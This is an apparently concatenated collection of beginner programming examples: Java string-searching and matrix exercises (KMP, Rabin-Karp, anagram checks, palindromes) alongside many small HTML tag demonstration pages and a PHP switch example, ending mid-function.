class GFG { 
    
    static final int CHAR=256;
    static int fact(int n) 
    { 
        return (n <= 1) ? 1 : n * fact(n - 1); 
    } 
    
    static int lexRank(String str) 
    { 
        int res = 1; 
        int n=str.length();
        int mul= fact(n);
        int[] count=new int[CHAR];
        for(int i=0;i<n;i++)
            count[str.charAt(i)]++;
        for(int i=1;i<CHAR;i++)
            count[i]+=count[i-1];
        for(int i=0;i<n-1;i++){
            mul=mul/(n-i);
            res=res+count[str.charAt(i)-1]*mul;
            for(int j=str.charAt(i);j<CHAR;j++)
                count[j]--;
        }
        return res; 
    } 
    
    public static void main(String args[]) 
    { 
        String str = "STRING"; 
        System.out.print(lexRank(str)); // OUTPUT : 598
    } 
} 
public class Simba{
	public static void main(String args[]){
	System.out.println("Hello Element Tutorials");
	}}
<?php
  $myVar = 'red';
  
  switch ($myVar) {
      case 'red':
          echo 'It is red';
          break;
      case 'blue':
          echo 'It is blue';
          break;
      case 'green':
          echo 'It is green';
          break;
  }
  ?> 
  
<select class="form-select" aria-label="Default select example">
  <option selected>Open this select menu</option>
  <option value="1">One</option>
  <option value="2">Two</option>
  <option value="3">Three</option>
</select>
// Efficient Code : O(m+(n-m) * CHAR)  or  since m<n so, 
// Time : O(n * CHAR),  Aux. Space : Θ(CHAR)

import java.util.*;
import java.io.*;
  
class GFG { 
    
    static final int CHAR=256;
    static boolean areSame(int CT[],int CP[])
    {
        for(int i=0;i<CHAR;i++){
            if(CT[i]!=CP[i])return false;
        }
        return true;
    }
    
    static boolean isPresent(String txt,String pat)
    {
        int[] CT=new int[CHAR];
        int[] CP=new int[CHAR];
        for(int i=0;i<pat.length();i++) {
            CT[txt.charAt(i)]++;
            CP[pat.charAt(i)]++;
        }
        for(int i=pat.length();i<txt.length();i++) {
            if(areSame(CT,CP))return true;
            CT[txt.charAt(i)]++;
            CT[txt.charAt(i-pat.length())]--;
        }
        return false;
    }
    
    public static void main(String args[]) 
    { 
        String txt = "geeksforgeeks"; 
        String pat = "frog";  
        if (isPresent(txt, pat)) 
            System.out.println("Anagram search found"); 
        else
            System.out.println("Anagram search not found"); 
    } 
} 






// Naive Code : O((n-m+1)*m)

import java.util.*;
import java.io.*;
  
class GFG { 
    
    static final int CHAR=256;
    static boolean areAnagram(String pat, String txt,int i) 
    { 
        int[] count=new int[CHAR];
        for(int j=0; j<pat.length(); j++)
        {
            count[pat.charAt(j)]++;
            count[txt.charAt(i+j)]--;
        }
        for(int j=0; j<CHAR; j++)
        {
            if(count[j]!=0)
                return false;
        }
        return true;
    } 
    
    static boolean isPresent(String txt,String pat)
    {
        int n=txt.length();
        int m=pat.length();
        for(int i=0;i<=n-m;i++)
        {
            if(areAnagram(pat,txt,i))
                return true;
        }
        return false;
    }
    
    public static void main(String args[]) 
    { 
        String txt = "geeksforgeeks"; 
        String pat = "frog";  
        if (isPresent(txt, pat)) 
            System.out.println("Anagram search found"); 
        else
            System.out.println("Anagram search not found"); 
    } 
} 
<!DOCTYPE html>  
<html>  
<head>  
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js">  
 </script>  
 <script type="text/javascript" language="javascript">  
 $(document).ready(function() {  
 $("h1").css("color", "red");  
 });  
 </script>  
 </head>  
<body>  
<h1>This is first paragraph.</h1>  
<p>This is second paragraph.</p>  
<p>This is third paragraph.</p>  
</body>  
</html>  

 
<!DOCTYPE html>
<html>
<body>
<h1>JavaScript can change HTML content</h1>

<p id="one">JavaScript can change HTML content.</p>

<button type="button" onclick='document.getElementById("one").innerHTML = "Hello JavaScript!"'>Click Me!</button>

</body>
</html>
<!DOCTYPE html>
  <html>
  <head>
  <style>
  body {
    background-color: lightpink;
  }
  
  h1 {
    color: yellow;
    text-align: center;
  }
  
  p {
    font-family: roboto;
    font-size: 27px;
  }
  </style>
  </head>
  <body>
  
  <h1>My First CSS Example</h1>
  <p>This is a paragraph.</p>
  
  </body>
  </html>
  
<!DOCTYPE html>
<html>
<head>
<title>Page Title</title>
</head>
<body>

<h1>This is a Heading</h1>
<p>This is a paragraph.</p>

</body>
</html>
import java.util.*;
import java.io.*;
  
class GFG { 
    
    static boolean areRotations(String s1,String s2)
    {
        if(s1.length()!=s2.length())
            return false;
            
        return ((s1+s1).indexOf(s2)>=0);
    }

    public static void main(String args[]) 
    {   
        String s1 = "ABCD";String s2="CDAB";
        
        if(areRotations(s1,s2)){
            System.out.println("Strings are rotations of each other");
        }
        else{
            System.out.println("Strings are not rotations of each other");
        }  
    } 
} 
import java.util.*;
import java.io.*;
  
class GFG { 

    static void fillLPS(String str, int lps[])
    {
        int n=str.length(),len=0;
        lps[0]=0;
        int i=1;
        while(i<n){
            if(str.charAt(i)==str.charAt(len))
            {len++;lps[i]=len;i++;}
            else
            {if(len==0){lps[i]=0;i++;}
                else{len=lps[len-1];}
            }
        }
    }

    static void KMP(String pat,String txt)
    {
        int N=txt.length();
        int M=pat.length();
        int[] lps=new int[M];
        fillLPS(pat,lps);
        int i=0,j=0;
        while(i<N){
            if(pat.charAt(j)==txt.charAt(i)){i++;j++;}
    
            if (j == M) { 
                System.out.println("Found pattern at index " + (i - j));
                j = lps[j - 1]; 
            } 
            else if (i < N && pat.charAt(j) != txt.charAt(i)) { 
                if (j == 0) 
                    i++;
                else
                    j = lps[j - 1];  
            }
        }
    }

    public static void main(String args[]) 
    {   String txt = "ababcababaad",pat="ababa";
        KMP(pat,txt);
    }  
     
} 
// Efficient Code O(n)

import java.util.*;
import java.io.*;
  
class GFG { 
  
    static void fillLPS(String str, int lps[])
    {
        int n=str.length(),len=0;
        lps[0]=0;
        int i=1;
        while(i<n){
            if(str.charAt(i)==str.charAt(len))
            {len++;lps[i]=len;i++;}
            else
            {if(len==0){lps[i]=0;i++;}
                else{len=lps[len-1];}
            }
        }
    }
  
    public static void main(String args[]) 
    {   String txt = "abacabad";int[] lps=new int[txt.length()];
        fillLPS(txt,lps);
        for(int i=0;i<txt.length();i++){
            System.out.print(lps[i]+" ");
        } 
    } 
} 




// Naive Code O(n^3)

import java.util.*;
import java.io.*;
  
class GFG { 

    static int longPropPreSuff(String str, int n)
    {
        for(int len=n-1;len>0;len--){
            boolean flag=true;
            for(int i=0;i<len;i++)
                if(str.charAt(i)!=str.charAt(n-len+i))
                    flag=false;
                    
            if(flag==true)
                return len;
        }
        return 0;
    }

    static void fillLPS(String str, int lps[]){
        for(int i=0;i<str.length();i++){
        lps[i]=longPropPreSuff(str,i+1);
        }
    }
  
    public static void main(String args[]) 
    {   String txt = "abacabad";int[] lps=new int[txt.length()];
        fillLPS(txt,lps);
        for(int i=0;i<txt.length();i++){
            System.out.print(lps[i]+" ");
    }  
    } 
} 
import java.util.*;
import java.io.*;
  
class GFG { 
    static final int d=256;
    static final int q=101;   
    static void RBSearch(String pat,String txt,int M, int N)
    {
        //Compute (d^(M-1))%q
        int h=1;
        for(int i=1;i<=M-1;i++)
            h=(h*d)%q;
        
        //Compute p and to
        int p=0,t=0;
        for(int i=0;i<M;i++){
            p=(p*d+pat.charAt(i))%q;
            t=(t*d+txt.charAt(i))%q;
        }
        
        for(int i=0;i<=(N-M);i++){
           //Check for hit
           if(p==t){
               boolean flag=true;
               for(int j=0;j<M;j++)
                    if(txt.charAt(i+j)!=pat.charAt(j)){flag=false;break;}
                if(flag==true)System.out.print(i+" ");
           }
           //Compute ti+1 using ti
           if(i<N-M){
               t=((d*(t-txt.charAt(i)*h))+txt.charAt(i+M))%q;
            if(t<0)t=t+q;
           }
        }
        
    }
  
    public static void main(String args[]) 
    {   String txt = "GEEKS FOR GEEKS";String pat="GEEK";
        System.out.print("All index numbers where pattern found: ");
        RBSearch(pat,txt,4,15);  
    } 
} 
import java.util.*;
import java.io.*;
  
class GFG { 
       
    static void patSearchinng(String txt,String pat)
    {
        int m=pat.length();
        int n=txt.length();
        for(int i=0;i<=(n-m); )
        {
            int j;
            for(j=0;j<m;j++)
                if(pat.charAt(j)!=txt.charAt(i+j))
                    break;
            
            if(j==m)
                System.out.print(i+" ");
            if(j==0)
                i++;
            else
                i=(i+j);
        }
    }
  
    public static void main(String args[]) 
    {   String txt = "ABCABCD";String pat="ABCD";
        System.out.print("All index numbers where pattern found: ");
        patSearchinng(txt,pat);  
    } 
} 
import java.util.*;
import java.io.*;
  
class GFG { 
       
    static void patSearchinng(String txt,String pat)
    {
        int m=pat.length();
        int n=txt.length();
        for(int i=0;i<=(n-m);i++){
      	    int j;
            for(j=0;j<m;j++)
                if(pat.charAt(j)!=txt.charAt(i+j))
              	    break;
            
        if(j==m)
            System.out.print(i+" ");
        }
    }
  
    public static void main(String args[]) 
    {   String txt = "ABCABCD";String pat="ABCD";
        System.out.print("All index numbers where pattern found: ");
        patSearchinng(txt,pat);  
    } 
} 
m -> Pattern length
n -> Text length
1 <= m <=n
---------------------------------------------------------------------------------------------------

// NO PREPROCESSING

Naive : O((n-m+1)*m)

Naive (When all characters of Pattern are distinct) : O(n)
---------------------------------------------------------------------------------------------------

// PREPROCESS PATTERN
  
Rabin Karp : O((n-m+1)*m)  // But, better then naive on average

KMP Algorithm : O(n)
---------------------------------------------------------------------------------------------------

// PREPROCESS TEXT
  
Suffix Tree : O(m)
<!DOCTYPE html>
<html>
<head>
<title>HTML table Tag</title>
<style type="text/css">
    table, td, th {
        border: 1px solid red;
    }
</style>
</head>
<body>
    <table>
        <caption>User Details</caption>
        <thead>
            <tr>
                <th>No.</th>
                <th>Name</th>
                <th>Email</th>
            </tr>
        </thead>
        <tbody>
            <tr>
                <td>1</td>
                <td>Alura</td>
                <td>alura@mail.com</td>
            </tr>
            <tr>
                <td>2</td>
                <td>John</td>
                <td>john@mail.com</td>
            </tr>
            <tr>
                <td>3</td>
                <td>Milinda</td>
                <td>milida@mail.com</td>
            </tr>
        </tbody>
    </table>
</body>
</html>




	
// Efficient Approach :
// NOTE : The code doesn’t handle the cases when the string starts with space. 

import java.util.*;
import java.io.*;
  
class GFG { 
       
    static void reverse(char str[],int low, int high)
    {
        while(low<=high)
        {
            //swap
            char temp=str[low];
            str[low]=str[high];
            str[high]=temp;

            low++;
            high--;
        }
    }

    static void reverseWords(char str[],int n){
    int start=0;
    for(int end=0;end<n;end++){
        if(str[end]==' '){
            reverse(str,start,end-1);
            start=end+1;
        }
    }
    reverse(str,start,n-1);
    reverse(str,0,n-1);
    }
  
    public static void main(String args[]) 
    {   String s = "Welcome to Gfg";int n=s.length();
        char[] str = s.toCharArray();
        System.out.println("After reversing words in the string:");
        reverseWords(str,n);
        System.out.println(str);  
    } 
} 
// One Traversal
// Efficient Approach-1 : Time Complexity : O(n)
 
    static final int CHAR=256;
    static int nonRep(String str) 
    {
        int[] fI=new int[CHAR];
        Arrays.fill(fI,-1);
    
        for(int i=0;i<str.length();i++){
            if(fI[str.charAt(i)]==-1)
            fI[str.charAt(i)]=i;
            else
            fI[str.charAt(i)]=-2;
        }
        int res=Integer.MAX_VALUE;
        for(int i=0;i<CHAR;i++){
            if(fI[i]>=0)res=Math.min(res,fI[i]);
        }
        return (res==Integer.MAX_VALUE)?-1:res;
    }
 
 
// Two Traversal
// Better Approach : Time Complexity : O(n) 
 
    static final int CHAR=256;
    static int nonRep(String str) 
    {
        int[] count=new int[CHAR];
        for(int i=0;i<str.length();i++){
            count[str.charAt(i)]++;
        }
        for(int i=0;i<str.length();i++){
            if(count[str.charAt(i)]==1)return i;
        }
        return -1;
    } 
 
 
// Naive Code : Time Complexity : O(n^2)
 
    static int nonRep(String str) 
    {
        for(int i=0;i<str.length();i++){
            boolean flag=false;
            for(int j=0;j<str.length();j++){
                if(i!=j&&str.charAt(i)==str.charAt(j)){
                    flag=true;
                    break;
                }
            }
            if(flag==false)return i;
        }
        return -1;
    }
// Efficient Approach-2 : Time & Space similar to previous method

    static final int CHAR=256;
    static int leftMost(String str) 
    {
        boolean[] visited=new boolean[CHAR];
        int res=-1;
        for(int i=str.length()-1;i>=0;i--){
            if(visited[str.charAt(i)])
            res=i;
            else
            visited[str.charAt(i)]=true;
        }
        
        return res;
    } 



// One Traversal
// Efficient Approach-1 : Time Complexity : O(n + CHAR), Auxiliary Space : O(CHAR)

    static final int CHAR=256;
    static int leftMost(String str) 
    {
        int[] fIndex=new int[CHAR];
        Arrays.fill(fIndex,-1);
        int res=Integer.MAX_VALUE;
        for(int i=0;i<str.length();i++){
            int fi=fIndex[str.charAt(i)];
            if(fi==-1)
            fIndex[str.charAt(i)]=i;
            else
            res=Math.min(res,fi);
        }
        
        return (res==Integer.MAX_VALUE)?-1:res;
    } 



// Better Approach : Time Complexity : O(n) but requires two loops for input string 

    static final int CHAR=256;
    static int leftMost(String str) 
    {
        int[] count=new int[CHAR];
        for(int i=0;i<str.length();i++){
            count[str.charAt(i)]++;
        }
        for(int i=0;i<str.length();i++){
            if(count[str.charAt(i)]>1)return i;
        }
        return -1;
    }


// Naive Code : Time Complexity : O(n^2)

    static int leftMost(String str) 
    {
        for(int i=0;i<str.length();i++){
            for(int j=i+1;j<str.length();j++){
                if(str.charAt(i)==str.charAt(j))return i;
            }
        }
        return -1;
    }
<!DOCTYPE html>
<html lang="en">
<head>
    <title>Example of HTML input tag</title>
</head>
<body>
    <form action="yourfile" method="post">
        <label for="first-name">First name:</label>
        <input type="text" name="first-name" id="first-name">
        <input type="submit" value="Submit">
        <input type="reset" name="Reset">
    </form>
</body>
</html> 
<!DOCTYPE html>
<html>
<head>
    <title>Example of HTML img tag</title>
</head>
<body>
    <div>
   		<img src="/img/example.png" alt="html">
    	
    </div>
</body>
</html> 
<!DOCTYPE html>
<html>
<head>
    <title>Example of HTML iframe tag</title>
</head>
<body>
    <iframe src="/index.html" width="400" height="300" scrolling="auto">
        <p>[Your browser does not support frames or is currently configured not to display frames. However, you may visit <a href="https://www.elementtutorials.com/">the related document.</a>]</p>
    </iframe>
</body>
</html> 
// Efficient : Time Complexity : O(n)
 
import java.util.*;
import java.io.*;
  
class GFG { 
    
    static final int CHAR=256;
        
    static boolean areAnagram(String s1, String s2) 
    { 
       if (s1.length() != s2.length()) 
            return false; 
  
        int[] count=new int[CHAR];
        for(int i=0;i<s1.length();i++){
            count[s1.charAt(i)]++;
            count[s2.charAt(i)]--;
        }
    
        for(int i=0;i<CHAR;i++){
            if(count[i]!=0)return false;
        }
        return true;
    }
  
    public static void main(String args[]) 
    { 
        String str1 = "abaac"; 
        String str2 = "aacba";  
        if (areAnagram(str1, str2)) 
            System.out.println("The two strings are" + " anagram of each other"); 
        else
            System.out.println("The two strings are not" + " anagram of each other"); 
    } 
} 
 
 

// Naive : Time Complexity : Θ(nlogn)
 
    static boolean areAnagram(String s1, String s2) 
    { 
       
        if (s1.length() != s2.length()) 
            return false; 
  
       char a1[]=s1.toCharArray();
        Arrays.sort(a1);
        s1=new String(a1);
        char a2[]=s2.toCharArray();
        Arrays.sort(a2);
        s2=new String(a2);
        
        return s1.equals(s2);
    } 
<!DOCTYPE html>
<html>
<head>
    <title>Example of HTML i tag</title>
</head>
<body>
    <p>Here is some <i>italic</i> text.</p>
	<p>Here is some <i>more italic</i> text.</p>
</body>
</html>
// Iterative Solution : Time Complexity : O(n+m), Space Complexity : Θ(1)

    static boolean isSubSeq(String s1, String s2, int n, int m){
        int j = 0;
        for(int i = 0; i < n && j < m; i++){
            if(s1.charAt(i) == s2.charAt(j))
            j++;
        }
        
        return j == m;
    }



// Recursive Solution : Time Complexity : O(n+m), Space Complexity : Θ(n+m)

    static boolean isSubSeq(String s1, String s2, int n, int m){
        if( m == 0 )
            return true;
        
        if( n == 0 )
            return false;
            
        if ( s1.charAt(n-1) == s2.charAt(m-1) )
            return isSubSeq(s1, s2, n-1, m-1);
        
        else
            return isSubSeq(s1, s2, n-1, m);
    }
// Efficient : Time Complexity : O(n), Space Complexity : Θ(1)

    static boolean isPalindrome(String str)
    {
 
        // Pointers pointing to the beginning
        // and the end of the string
        int begin = 0, end = str.length() - 1;
 
        // While there are characters to compare
        while (begin < end) {
 
            // If there is a mismatch
            if (str.charAt(begin) != str.charAt(end))
                return false;
 
            // Increment first pointer and
            // decrement the other
            begin++;
            end--;
        }
 
        // Given string is a palindrome
        return true;
    }


// Naive : Time Complexity : Θ(n), Space Complexity : Θ(n)

    static boolean isPalindrome(String str)
    {
      StringBuilder rev = new StringBuilder(str);
      rev.reverse();  // StringBuilder is mutable & has a function called reverse
      
      return str.equals(rev.toString());
    }
class Solution 
{
    //Function to find minimum number of operations that are required 
    //to make the matrix beautiful.
    static int findMinOperation(int matrix[][], int n)
    {
        int sumRow[] = new int[n];
        int sumCol[] = new int[n];
        Arrays.fill(sumRow, 0);
        Arrays.fill(sumCol, 0);
        
        //calculating sumRow[] and sumCol[] array.
        for(int i = 0; i < n; i++)
        {
            for(int j = 0; j < n; j++)
            {
                sumRow[i] += matrix[i][j];
                sumCol[j] += matrix[i][j];
                  
            }
        }
        
        //finding maximum sum value in either row or in column.
        int maxSum = 0;
        for (int i = 0; i < n; ++i)
        {
            maxSum = Math.max(maxSum, sumRow[i]);
            maxSum = Math.max(maxSum, sumCol[i]);
        } 
        
        int count = 0;
        for (int i = 0, j = 0; i < n && j < n;) 
        {
            //finding minimum increment required in either row or column.
            int diff = Math.min(maxSum - sumRow[i], maxSum - sumCol[j]);
            
            //adding difference in corresponding cell, 
            //sumRow[] and sumCol[] array.
            matrix[i][j] += diff;
            sumRow[i] += diff;
            sumCol[j] += diff;
            
            //updating the result.
            count += diff;
            
            //if ith row is satisfied, incrementing i for next iteration.
            if (sumRow[i] == maxSum)
                ++i;
            
            //if jth column is satisfied, incrementing j for next iteration.
            if (sumCol[j] == maxSum)
                ++j;
        }
        //returning the result.
        return count;
    }
}
class Solution
{
    //Function to modify the matrix such that if a matrix cell matrix[i][j]
    //is 1 then all the cells in its ith row and jth column will become 1.
    void booleanMatrix(int matrix[][])
    {
        int r = matrix.length;
        int c = matrix[0].length;

        //using two list to keep track of the rows and columns 
        //that needs to be updated with 1.
        int row[] = new int[r];
        int col[] = new int[c];
        
        for(int i = 0; i < r; i++)
        {
            for(int j = 0; j < c; j++)
            {
                //if we get 1 in matrix, we mark ith row and jth column as 1.
                if(matrix[i][j] == 1){
                    row[i] = 1;
                    col[j] = 1;
                }  
            }
        }
        
        for(int i =0; i < r; i++)
        {
            for(int j = 0; j < c; j++)
            {
                //if ith row or jth column is marked as 1, then all elements
                //of matrix in that row and column will be 1.
                if(row[i] == 1 || col[j] == 1){
                    matrix[i][j] = 1;
                }
            }
        }
    }
}
class Solution
{
    //Function to interchange the rows of a matrix.
    static void interchangeRows(int matrix[][])
    {
       for(int i=0;i<matrix.length/2;i++){
           for(int j=0;j<matrix[i].length;j++){
               int temp=matrix[i][j];
               matrix[i][j]=matrix[matrix.length-i-1][j];
               matrix[matrix.length-i-1][j]=temp;
           }
       } 
    }
}
<!DOCTYPE html>
<html>
<head>
    <title>A Complete HTML document</title>
</head>
<body>
    <p>Hello World!</p>
</body>
</html> 
<!DOCTYPE html>
<html>
<head>
    <title>Example of HTML hr tag</title>
</head>
<body>
    <p>This is the first paragraph of text.</p>
    <hr>
    <p>This is second paragraph of text.</p>
</body>
</html> 
<!DOCTYPE html>
<html>
<head>
    <title>Example of HTML headings tag</title>
</head>
<body>
    <h1>Heading  1</h1>
    <h2>Heading  2</h2>
    <h3>Heading  3</h3>
    <h4>Heading  4</h4>
    <h5>Heading  5</h5>
    <h6>Heading  6</h6>
</body>
</html> 







<!DOCTYPE html>
<html>
<head>
<title>Example of HTML header Tag</title>
</head>
<body>
    <header>
		<h1>Top Browsers</h1>
		<nav>
			<p>
                <a href="https://www.google.com">google</a> | 
                <a href="https://www.yahhoo.com">yahoo</a> | 
                <a href="https://www.bing.com">bing</a>
            </p>
		</nav>
	</header>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
    <title>Example of HTML head tag</title>
</head>
<body>
    <p>Hello World!</p>
</body>
</html> 
<!DOCTYPE html>
<html lang="en">
<head>
    <title>Example of HTML form tag</title>
</head>
<body>
    <form>
        <p>
            First name: <input type="text" name="first-name">
            <button type="submit" value="Submit">Submit</button>
            <button type="reset" value="Reset">Reset</button>
        </p>
    </form>
</body>
</html> 
<!DOCTYPE html>
<html lang="en">
<head>
<title>Example of HTML footer Tag</title>
</head>
<body>
    <footer>
		<nav>
			<p>
				<a href="https://www.google.com/">Terms of Use</a> |
				<a href="https://www.google.com/">Privacy Policy</a>
			</p>
		</nav>
		<p>Copyright &copy; 1998 </p>
	</footer>
</body>
</html>

<!DOCTYPE html>
<html lang="en">
<head>
<title>Example of HTML figure Tag</title>
</head>
<body>
    <figure>
		<img src="image.jpg" alt="Space Shuttle">
		
	</figure>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
    <title>Example of HTML fieldset tag</title>
</head>
<body>
    <form action="http://www.google.com/" method="post">
        <fieldset>
            <legend>Gender</legend>
            <input type="radio" name="gender" value="male" id="male">
            <label for="male">Male</label>
            <input type="radio" name="gender" value="female" id="female">
            <label for="female">Female</label>
        </fieldset>
    </form>
</body>
</html> 
<!DOCTYPE html>
<html>
<head>
<title>Example of HTML embed Tag</title>
</head>
<body>
    <embed src="/index.html" width="500" height="500">
</body>
</html>
<!DOCTYPE html>
<html>
<head>
    <title>Example of HTML em tag</title>
</head>
<body>
    <p>This is an <em>important point</em> to consider.</p>
	<p>This is one more <em>important point</em> to consider.</p>
</body>
</html>
	<!DOCTYPE html>
<html lang="en">
<head>
    <title>Example of HTML dt tag</title>
</head>
<body>
    <h1>Definition List</h1>
    <dl>
        <dt>line1</dt>
        <dd>– definition1</dd>
        <dt>line2</dt>
        <dd>– definition2</dd>
    </dl>
</body>
</html> 
<!DOCTYPE html>
<html lang="en">
<head>
    <title>Example of HTML dl tag</title>
</head>
<body>
    <h1>Definition List</h1>
    <dl>
        <dt>line1</dt>
        <dd>– definition1</dd>
        <dt>line</dt>
        <dd>– definition2</dd>
    </dl>
</body>
</html> 
<!DOCTYPE html>
<html lang="en">
<head>
    <title>Example of HTML div tag</title>
    <style type="text/css">
        .welcome-box{
            background:lightblue;
            border:1px solid black;
        }
    </style>
</head>
<body>
    <div class="welcome-box">
        <h1>Welcome</h1>
        <p>Hi, welcome to our website.</p>
    </div>
    <p><strong>Note:</strong> To learn more about style rules please study tutorials on <a href="">CSS</a>.</p>
</body>
</html> 
<!DOCTYPE>
<html>  
<body>  
 
<dialog> <p>This is an HTML dialog popup</p> <button id="close">Close Dialog</button>
  </dialog> 
  <button id="show">Show Me the Dialog</button> 

  <script>  
    
    var dialog = document.querySelector('dialog'); 
    document.querySelector('#show').onclick = function() { 
      dialog.show(); }; document.querySelector('#close').onclick = 
        function() { dialog.close(); }; 
  </script>
  

</body>
</html>  
<!DOCTYPE html>
<html>
<head>
    <title>Example of HTML dfn tag</title>
</head>
<body>
    <p>The <dfn title="Hyper Text Markup Language">HTML</dfn> is the publishing language of the World Wide Web.</p>
</body>
</html> 
<html>
<head>
<title>Example of HTML details Tag</title>
<style type="text/css">
    details{
    	margin: 10px;
    }
</style>
</head>
<body>
<details>
    <summary>What is HTML?</summary>
    <p>HTML stands for HyperText Markup Language. HTML is the main markup language for describing the structure of web pages.</p>
</details>
<details>
    <summary>What is Twitter Bootstrap?</summary>
    <p>Twitter Bootstrap is a powerful front-end framework for faster and easier web development. It is a collection of CSS and HTML conventions. </p>
</details>
<details>
    <summary>What is CSS?</summary>
    <p>CSS stands for Cascading Style Sheet. CSS allows you to specify various style properties for a given HTML element such as colors, backgrounds, fonts etc. </p>
</details>
<p><strong>Note:</strong> The details tag currently not supported in Firefox and Internet Explorer.</p>
</body>
</html>                                		
<!DOCTYPE html>
<html lang="en">
<head>
    <title>Example of HTML del tag</title>
</head>
<body>
    <h1>To Do</h1>
    <ul>
        <li>$2000</li>
        <li>$3000</li>
        <li><del>$4000</del></li>
        <li>$5000</li>
    </ul>
</body>
</html> 
<!DOCTYPE html>
<html>
<head>
    <title>Example of HTML dd tag</title>
</head>
<body>
    <h1>Definition List</h1>
    <dl>
        <dt>line1</dt>
        <dd>– definition1</dd>
        <dt>line2</dt>
        <dd>– definition2</dd>
    </dl>
</body>
</html> 
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Example of HTML data Tag</title>
<style>
    data:hover::after {
        content: ' (ID ' attr(value) ')';
        font-size: .7em;
    }
</style>
</head>
<body>
    <p>New Movie Makers</p>
    <ul>
        <li><data value="204">Alson</data></li>
        <li><data value="205">Corner</data></li>
        <li><data value="206">John</data></li>
    </ul>
	<p><strong>Note:</strong> Place the mouse pointer over the list item to see how it actually works.</p>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<title>Example of HTML col Tag</title>
<style type="text/css">
    table, td, th {
        border: 1px solid black;
    }
</style>
</head>
<body>
    <table>
        <colgroup>
            <col style="background-color:red">
            <col span="2" style="background-color:yellow">
        </colgroup>
        <tr>
            <th>No.</th>
            <th>Name</th>
            <th>Email</th>
        </tr>
        <tr>
            <td>1</td>
            <td>Alson</td>
            <td>Alson@mail.com</td>
        </tr>
        <tr>
            <td>2</td>
            <td>Corner</td>
            <td>Corner@mail.com</td>
        </tr>
        <tr>
            <td>3</td>
            <td>John doe</td>
            <td>John@mail.com</td>
        </tr>
    </table>
</body>
</html> 

<!DOCTYPE html>
<html>
<head>
    <title>Example of HTML code tag</title>
</head>
<body>
    <p>This is paragraph <code>computer code</code> another line.</p>
</body>
</html> 
<!DOCTYPE html>
<html lang="en">
<head>
    <title>Example of HTML cite Tag</title>
</head>
<body>
    <p>My favorite movie is <cite>Avengers</cite>.</p>
	<p>My another favorite movie is <cite>Bloodshoot</cite>.</p>
</body>
</html> 
<!DOCTYPE html>
<html>
<head>
<title>Example of HTML caption Tag</title>
<style type="text/css">
    table, td, th {
        border: 1px solid gray;
    }
</style>
</head>
<body>
    <table>
        <caption>User Details</caption>
        <thead>
            <tr>
                <th>No.</th>
                <th>Name</th>
                <th>Email</th>
            </tr>
        </thead>
        <tbody>
            <tr>
                <td>1</td>
                <td>Alson</td>
                <td>Alson@mail.com</td>
            </tr>
            <tr>
                <td>2</td>
                <td>Conner</td>
                <td>Conner@mail.com</td>
            </tr>
            <tr>
                <td>3</td>
                <td>John Doe</td>
                <td>John@mail.com</td>
            </tr>
        </tbody>
    </table>
</body>
</html>



  

<!DOCTYPE html>
  <html>
  <body>
  
  <canvas id="firstcanvas" width="500" height="500" style="border:1px solid red;">
  Your browser does not support the HTML canvas tag.
  </canvas>
  
  </body>
  </html>
<!DOCTYPE html>
<html>
<head>
    <title>Example of HTML button tag</title>
</head>
<body>
    <form>
        <p>
            First name: <input type="text" name="first-name">
            <button type="submit" value="Submit">Submit</button>
            <button type="reset" value="Reset">Reset</button>
        </p>
    </form>
</body>
</html> 
<!DOCTYPE html>
<html lang="en">
<head>
    <title>Example of HTML br tag</title>
</head>
<body>
    <p>This paragraph contains<br>a line break.</p>
	<p>This paragraph contains <br>multiple <br>line breaks.</p>
</body>
</html> 






<!DOCTYPE html>
<html>
<head>
    <title>Example of HTML body tag</title>
</head>
<body>
    <p>Hello World!</p>
</body>
</html> 
<!DOCTYPE html>
<html>
<head>
    <title>Example of HTML blockquote tag</title>
</head>
<body>
    <blockquote>
        <p>This is an example of a long quotation.</p>
    </blockquote>
</body>
</html> 

<!DOCTYPE html>
<html lang="en">
<head>
    <title>Example of HTML bdo tag</title>
</head>
<body>
    <p>The sequence "1-2-3-4-5" was reversed as: <bdo dir="rtl">1-2-3-4-5</bdo></p>
</body>
</html> 

<!DOCTYPE html>
<html>
<head>
<title>Example of HTML bdi Tag</title>
</head>
<body>
  <p>If the bdi element is not supported in the browser, the username of the Arabic user would confuse the text</p>
    <p dir="ltr">This arabic word <bdi>ARABIC_PLACEHOLDER</bdi> is automatically displayed right-to-left.</p>
</body>
</html>


<!DOCTYPE html>
<html>
<head>
    <title>Example of HTML base tag</title>
    <base href="https://www.elementtutorials.com/">
</head>
<body>
	<p>Learn <a href="https://www.elementtutorials.com/">CSS</a>.</p>
</body>
</html> 


<!DOCTYPE html>
<html>
<head>
    <title>Example of HTML b Tag</title>
</head>
<body>
    <p>This <b>sentence</b> contains some <b>bold</b> words.</p>
	<p>Here are <b>some</b> more <b>bold</b> words.</p>
</body>
</html> 


<!DOCTYPE html>
<html lang="en">
<head>
<title>Example of HTML audio Tag</title>
</head>
<body>
	<audio controls="controls" src="/audio.mp3">
        Your browser does not support the HTML5 audio element.
    </audio>
</body>
</html>


<!DOCTYPE html>
<html lang="en">
<head>
<title>Example of HTML aside Tag</title>
</head>
<body>
	<h1>Apollo 13 Mission</h1>
	<p>This is paragraph</p>
	<p>[...]</p>
    <aside>
		<h1>Apollo 13 Facts</h1>
		<p>The aside element represents a section of the web page that encloses content which is tangentially related to the content around it.</p>
	</aside>
</body>
</html>


<!DOCTYPE html>
<html lang="en">
<head>
<title>Example of HTML article Tag</title>
</head>
<body>
    <article>
		<h1>Introduction to HTML</h1>
		<p>HTML is a markup language that is used for creating web pages.</p>
	</article>
</body>
</html>


<!DOCTYPE html>
<html>
<body>

<h1>The map and area elements</h1>

<p>Click on the computer, the phone, or the cup of coffee to go to a new page and read more about the topic:</p>

<img src="/img/favicon.png" alt="Workplace" usemap="#workmap" width="400" height="379">

<map name="workmap">
  <area shape="rect" coords="34,44,270,350" alt="Computer" href="computer.htm">
  <area shape="rect" coords="290,172,333,250" alt="Phone" href="phone.htm">
  <area shape="circle" coords="337,300,44" alt="Cup of coffee" href="coffee.htm">
</map>

</body>
</html>
class Solution
{
    //Function to reverse the columns of a matrix.
    static void reverseCol(int matrix[][])
    {
       for(int i=0; i<matrix.length; i++){
           for(int j=0; j<matrix[i].length/2; j++)
           {
               int temp = matrix[i][j];
